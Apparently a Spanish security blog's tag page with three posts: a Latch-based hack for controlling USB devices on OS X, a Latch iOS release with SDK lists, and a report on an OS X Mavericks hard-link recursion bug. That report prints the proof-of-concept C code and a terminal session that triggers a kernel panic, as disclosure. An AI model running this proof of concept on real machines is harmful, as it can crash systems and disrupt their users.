Menú principal

Mostrando entradas con la etiqueta C. Mostrar todas las entradas
Mostrando entradas con la etiqueta C. Mostrar todas las entradas

domingo, 13 de julio de 2014

OSX: Controlar con Latch los dispositivos USB conectados

Este viernes, en el blog de Eleven Paths, se ha publicado un curioso e ingenioso hack para controlar con Latch la conexión o desconexión de cualquier dispositivo USB que sea enchufado al equipo. Entre los dispositivos USB pueden estar los típicos pendrives para almacenamiento de datos, pero también webcams que pudieran ser activadas con algún tipo de software malicioso sin nuestro consentimiento, teclados USB, keyloggers por hardware e incluso dispositivos Teensy 3.0 que puedan utilizarse para ataques como el del famoso USB Rubber Ducky.

Cualquier dispositivo USB que se conecta al sistema generará eventos en el sistema OSX que podrán ser controladas con los estados que un usuario seleccione en la cuenta de Latch que tenga pareada. Lo mejor de todo, es que para hacer este control no es necesario hacerlo a nivel de kernel o con drivers instalados allí, y se puede hacer desde la API en userland que ofrece el sistema a través de instancias de IOUSBInterface e IOUSBDevice que conectan con IOUSBLib del sistema.

Figura 1: Artículo que explica paso a paso cómo controlar los USB en OS X

Haciendo uso de estas funciones, David Barroso explica cómo hacer un programa que corra como servicio en el sistema operativo y controle en todo momento los dispositivos que se conecten. Después, cuando un evento de conexión aparezca se puede aplicar cualquier regla de seguridad que se quiera definir consultado el estado de un Latch además de los datos que se pueden obtener de OSX, como el vendorID o el productID del dispositivo.

Figura 2: Una cuenta de Latch para OSX controlado el USB

Esas reglas podrían ser deshabilitar, permitir la conexión o simplemente informar de que se ha conectado. Para que puedas personalizar el funcionamiento a tu gusto, en el blog de Eleven Paths tienes el código en Lenguaje C para que lo adaptes a tus necesidades.  

sábado, 8 de febrero de 2014

Latch para iOS en español y guías de uso

Ya está disponible en la App Store la nueva versión de Latch para iOS, cuya principal novedad es que se ha traducido completamente la app a Español para que todos los usuarios que quieran la puedan tener así. Además se ha añadido un pequeño menú de configuración para configurar algunos tipos de mensajes que se quieren recibir o no en cada momento. La app se puede descargar desde iTunes.

Figura 1: Latch 1.1.0 para iOS disponible en el App Store

Además se han publicado los plugins de Latch para más frameworks que se han publicado en el repositorio de código oficial de Eleven Paths. Todos los proyectos son Open Source y puedes descargarlos, usarlos y modificarlos a gusto.

Figura 2: Canal de Eleven Paths en GitHub

La lista queda de la siguiente forma:
Y se puede integrar en cualquier aplicación o script con los siguientes SDK y plugins.
- Plugin de Latch para PowerShell
- Plugin de Latch para .NET Membership Provider
- SDK de Latch para Java
- SDK de Latch para .NET
- SDK de Latch para C
- SDK de Latch para Python
- SDK de Latch para Ruby
- SDK de Latch para PHP
Además, para aprender a manejarlo mejor se han publicado las guías de instalación y uso, que pueden ser consultadas online como referencia en el canal oficial de Eleven Paths en SlideShare.

Figura 3: Guías en el canal en SlideShare de Eleven Paths
- Guía de instalación de Latch en WordPress
- Guía de instalación de Latch en PrestaShop
- Guía de instalación de Latch en Joomla
- Guía de instalación de Latch en Drupal 7
- Guía de instalación de Latch en Drupal 6

- Guía de instalación de Latch en RoundCube
- Guía de integración de Latch en aplicaciones Asp.NET

jueves, 14 de noviembre de 2013

Hard Link Memory Corruption en Apple OS X Mavericks

Es conocido que en la mayoría de los sistemas *NIX un enlace duro a un directorio está reservado para el usuario root, cuando se indica un path absoluto. En Mac OS X 10.6 existía una vulnerabilidad de este tipo, la cual se encuentra documentada en el siguiente CVE-2010-0105. La semana pasada ha sido descubierta una vulnerabilidad en Mac OS X 10.9 Mavericks, el cual provoca un kernel panic al intentar listar un enlace duro con recursividad infinita. Como se puede leer en la Wikipedia, para evitar la recursividad infinita, los sistemas operativos más modernos no permiten enlaces duros a directorios.

Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente.  Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.
#include
#include void usage(const char* program) { const char* message = " [src_dir] [target_dir]"; fprintf(stderr, "%s%s\n", program, message); } int main(int argc, char* argv[]) { if (argc!=3) { usage(argv[0]); return 1; } int ret = link(argv[1],argv[2]); fprintf(stderr,"link(3) return= %d\n", ret); return ret; }
El autor opina que es un fallo de seguridad y que Apple debería corregirlo, aunque Apple no ha concedido esto como vulnerabilidad y  en la lista Bugtraq se ha debatido el porqué del problema: "los enlaces duros de directorios no pueden tener el mismo padre". La ejecución de dicha vulnerabilidad con el código se puede visualizar a continuación:
mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1
Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks

Entrada destacada

Proteger tu cuenta de Google y de Gmail con Latch Cloud TOTP #Latch #Gmail #Google

La semana pasada se liberó la nueva versión de Latch y nuestro compañero Chema Alonso hizo un repaso de todo ello en su artículo Latch...

Otras historias relacionadas

Entradas populares